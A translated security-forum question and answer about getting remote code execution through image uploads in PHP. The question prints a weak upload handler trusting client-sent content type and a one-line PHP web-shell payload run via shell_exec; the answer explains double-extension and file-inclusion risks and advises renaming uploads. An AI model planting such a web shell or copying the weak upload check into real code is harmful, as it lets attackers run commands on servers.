¿Cómo funciona realmente la explotación de RCE en un archivo jpg?

0

Estoy tratando de aprender cómo se pueden usar los archivos JPG y PNG para obtener RCE. A continuación se muestra mi código para subir archivos. Verificará si el tipo de contenido del archivo es correcto.

<?php

   $test = array('image/jpeg', 'image/png', 'image/jpg');

   $test2     = @$_FILES['filename'];
   $test3     = array('png', 'jpg', 'jpeg');
   $ut  = pathinfo($test2['name'], PATHINFO_EXTENSION);

   $original_path="uploadedfiles/";

   //New path uploadfile/filename.extension

   $original_path1 = $original_path.basename($test2['name']);
   $original_path2 = "C:/xampp/htdocs/demo/$original_path1";
   $resultpath  = "F:/".basename($test2['name']);

   if (isset($test2))
   {
      if (in_array($test2['type'], $test))
      {
         if (in_array($ut, $test3))
         {
            if(move_uploaded_file($test2["tmp_name"], $original_path1))
            {
               echo "The file ".basename($test2['name'])." has been uploaded successfully. <br><br> <img src=/demo/$original_path1>";
            }
            else
            {
               echo "Error in file upload";
            }
         }
         else
         {
            echo "Invalid File Extension";
         }
      }
      else
      {
         echo "Invalid file Content-type     ";
      }
   }
   else
   {
      echo "Where is the filename parameter? Go and make another request with the filename parameter.";
   }

?>

He intentado cambiar la descripción y el encabezado Exif del comentario del usuario a través de este sitio web con esta carga:

<?if($_GET['r0ng']){echo"<pre>".shell_exec($_GET["r0ng"]);}?>

Pero falló.

Entonces, como un pentester, ¿qué otras cosas puedo probar? Estoy seguro de que me estoy perdiendo algo importante, pero ¿qué?

    
pregunta Utkarsh Agrawal 03.08.2018 - 09:15
fuente

1 respuesta

3

Lo que te falta es la ejecución real del archivo cargado. Un archivo sería inofensivo a menos que se ejecute como un script PHP. Y su servidor web tratará un archivo según su extensión. Por lo tanto, un servidor web normal no ejecutaría archivos jpg como scripts php.

Sin embargo, hay dos advertencias.

  • En algunas circunstancias, el servidor web Apache trataría un archivo llamado image.php.jpg de hecho como un archivo PHP. Por lo tanto, podría ser una buena idea cambiar el nombre de los archivos cargados a nombres sin sentido (esta idea es buena por sí misma de todos modos).
  • por supuesto, no solo hay una ejecución directa, también se puede incluir una imagen cargada en un script PHP. Pero esto sería una vulnerabilidad por sí misma, no se necesita una instalación de carga de archivos para explotarla, por lo que su sitio no debería permitir incluir archivos arbitrarios de la elección del usuario de todos modos.
respondido por el Your Common Sense 03.08.2018 - 09:34
fuente

Lea otras preguntas en las etiquetas